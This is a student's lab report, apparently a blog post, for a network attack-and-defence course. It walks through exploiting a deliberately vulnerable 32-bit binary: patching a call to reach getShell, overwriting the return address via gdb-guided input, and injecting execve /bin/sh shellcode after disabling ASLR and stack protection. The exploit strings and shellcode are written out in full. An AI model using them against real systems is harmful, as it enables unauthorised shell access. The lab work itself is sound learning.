20222416 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222416 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

  • BOF原理:堆栈、汇编语言、机器指令、EIP、返回地址
  • Linux基本操作:常用指令、管道、输入、输出等
  • 基本的shellcode
  • 使用gdb调试、vi命令
    实验对象是一个预先编写好的linux可执行文件。
    该文件正常流程是:main调用foo函数,foo函数会返回显示用户输入的字符串。
    但是该程序同时包含另一个代码片段:getShell,这个函数会返回一个可用Shell。正常情况下这个代码段没有被在主函数中引用,不会被执行。任务一和二的目标就是想办法运行这个代码片段。任务三的目标是注入shellcode。

2.实验过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

从网站下载目标文件pwn1,重命名为pwn20222416,在终端内使用objdump -d pwn20222416命令进行反汇编。

观察main函数的汇编代码,可以发现main函数调用foo,对应机器指令为“ e8 d7 ff ff ff”(e8为跳转之意),要让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
用十六进制计算器,得到补码为c3ffffff。接下来修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
复制pwn20222416文件为pwn20222416a方便修改
cp pwn20222416 pwn20222416a
使用vi命令读取文件
vi pwn20222416a
切换显示模式为16进制模式
:%!xxd
查找e8 d7所在的位置
/e8 d7

输入i进入插入模式,修改e8 d7为e8 c3,按esc退出插入模式,输入:%!xxd -r转换16进制为原格式,然后输入:wq保存退出文件。
再次使用objdump -d pwn20222416a反汇编

可以看到原先的e8 d7被改为了e8 c3。运行修改后的代码。

可以看到成功运行getshell函数。

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

在文件目录下运行终端,使用gdb pwn20222416调试文件,确认输入字符串哪几个字符会覆盖到返回地址。

输入r继续运行程序,输入字符串1111111122222222333333334444444455555555,通过i r命令查看寄存器的值

可以看到eip的值为0x35353535,查询ASCⅡ表可知这是对应5555。再次运行程序,输入1111111122222222333333334444444412345678,查看寄存器的值。

可以看到这次eip寄存器的值为0x34333231,也就是4321。可以确定只要把这四个字符替换getShell 的内存地址(从之前的反汇编中可以看到内存地址是0804847d),输入给文件,文件就会运行getShell。接下来确认字节序。

对比观察可得,正确的字节序为11111111222222223333333344444444\x7d\x84\x04\x08
由为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先在终端输入命令生成包括这样字符串的一个文件。\x0a表示回车。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用16进制查看指令xxd查看input文件的内容

可以看到文件内容符合预期。输入(cat input; cat) | ./pwn1将input通过管道符“|”,作为pwn20222416的输入。

可以看到getshell函数成功触发。

2.3 注入一个自己制作的shellcode并运行这段shellcode

shellcode的注入需要在一定条件下进行,具体如下:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
这次实践中需要在root权限下,进行注入准备:

execstack -s pwn1\\设置堆栈可执行
execstack -q pwn1\\查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space\\查看地址随机化状态
  0 = 关闭
  1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
  2 = 全随机。除了1中所述,还有heap。
echo "0" > /proc/sys/kernel/randomize_va_space\\关闭地址随机化

准备工作完成。
接下来构造要注入的payload。正确的结构为anything+retaddr+nops+shellcode。在此之前我也尝试了nops+shellcode+retaddr结构,通过这个结构确定了返回地址。尝试用的shellcode如下

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端注入这段buf(cat input_shellcode;cat) | ./pwn20222416
打开另一个终端,查询进程号ps -ef | grep pwn20222416

可以看到进程号为17279。使用gdb进入进程。

设置断点,来查看注入buf的内存地址
disassemble foo
break *0x080484ae

在另外一个终端中按下回车,然后回到gdb调试的终端

可以看到0xbfffefcc的地址上是注入的01020304。原先的shellcode注入失败。更改shellcode结构为anything+retaddr+nops+shellcode。由于01020304就是返回地址的位置(0xbfffefcc)。shellcode就挨着,所以地址是 0xbfffefd0。生成新的input_shellcode文件。

通过16进制查看文件内容

可以看到文件的内容符合预期。注入pwn20222416

可以看到shellcode成功执行。注入成功。

3.问题及解决方案

  • 问题1:kali系统中没有安装gdb和execstack,在安装gdb时出现软件包依赖错误。在apt安装execstack时出现无法定位软件包,使用同学提供的软件包安装,也无法安装成功。
  • 问题1解决方案:解决gdb未安装的办法是更改apt源。编辑/etc/apt/sources.list文件,在文件最前面添加以下条目(清华源)
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib non-free-firmware
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib non-free-firmware

然后输入apt-get updateapt-get upgrade进行更新。
对于execstack软件包无法安装的问题,原因出在我安装的kali是32位(i386)而同学的软件包适用于64位(amd64),因而想要通过软件包的方式安装execstack,需要去找到适合32位linux系统的软件包。我去到阿里云开源镜像站寻找软件包,由于kali是基于Debian开发的,所以在Debian仓库下下载即可。

选择i386版本的,下载完成后将execstack_0.0.20131005-1+b10_i386.deb放入kali中。使用dpkg -i命令安装后,execstack命令即可正常使用。

  • 问题2:kali桌面鼠标光标突然消失

  • 问题2解决方案:在kali的设置中点击“显示”,将缩放调到“0.9x”或以下。修改完后最好重启kali。

  • 问题3:kali桌面窗口过小/kali终端字体过小

  • 问题3解决方案:在kali设置中点击“外观”,点击“设置”,将窗口缩放调为“2x”。在终端中右键,点击“参数配置”,修改字体设置,调整到合适大小。修改完后最好重启kali。

  • 问题4:kali桌面出错,显示不全/无法移动窗口/上边任务栏消失

  • 问题4解决方案:打开终端切换到root账户sudo su,接下来依次输入

apt-get clean
apt-get remove xfce4 xfce4-places-plugin
apt-get install x-window-system-core
apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin

安装完成后输入reboot重启

  • 问题5:(还在查找原因)(问题1的延申)通过软件包这一件事,我发现通常同学安装的是64位系统,而我则选择了32位系统,因为实验指导博客中指出条件之一是“x32”环境,作者也指出“64位系统对BOF攻击影响非常大,基本先天免疫。一个原因是地址空间大,每个地址都有大量00,没法注啊。启用地址随机化后,也没法猜啊。”当然64位系统并不是不可以进行bof攻击。现在主流的系统已经是64位系统了,我在查询资料的过程中也看到了64位下的shellcode代码,但是和32位系统在汇编代码上存在区别,例如
    1.使用32位寄存器的地方可以换成64位的
    2.使用syscall代替int 0x80,
    3.压栈的区别等
    通过对博客作者提供的16进制代码转汇编:

    可以看到代码是32位下的汇编代码。
    通常的64位汇编代码如下:

    可以看到和32位存在差别。但是博客作者给出的32位代码在64位下也能成功运行,让实验进行成功。我还需要进一步了解linux在32位和64位系统下运作的机制,了解原因。

4.学习感悟、思考

在任务一手工修改可执行文件的过程中,通过反汇编,我可以直接地看到汇编语言。根据实验指导书,并结合反汇编结果,我了解了main函数调用foo函数的过程。更改地址即可跳转到getShell函数而不是foo函数。我通过这一任务了解了部分汇编语言,熟悉了linux的vi命令。

在任务二的BOF攻击中,我通过gdb调试工具,输入字符串来观察返回地址的覆盖情况,确认返回地址位置,结合getshell地址,输入构造好后的字符串成功覆盖返回地址触发getshell函数,实现了bof攻击。

任务三是注入一个shellcode并运行这段shellcode,我了解到shellcode实际上是汇编语言,注入payload可以覆盖返回地址,将返回地址覆盖为自己的shellcode地址,从而运行自己提前编写好的shellcode,进入shell中。

在本次实验过程中,我是第一次在kali环境下进行实验,也遇到了各种各样的问题。kali的许多设置都需要进行调整,例如字体、桌面等问题。没有execstack和gdb的问题曾经困扰了我一段时间,问题最后出在apt源和软件包上,调整apt源并更新,安装软件包后问题才得以解决。理解实验原理的过程也需要我经常去网上找寻资料,学习漏洞的相关原理。当然32位和64位系统的区别问题我还没有解决,这还需要我继续查找资料,了解原因。这些学习过程增长了我的实践经验,拓展了我遇到问题时的解决思路。相信下一次实验我会有更大的收获。

参考资料

posted @ 2024-10-03 23:26  unioc  阅读(26)  评论(0编辑  收藏  举报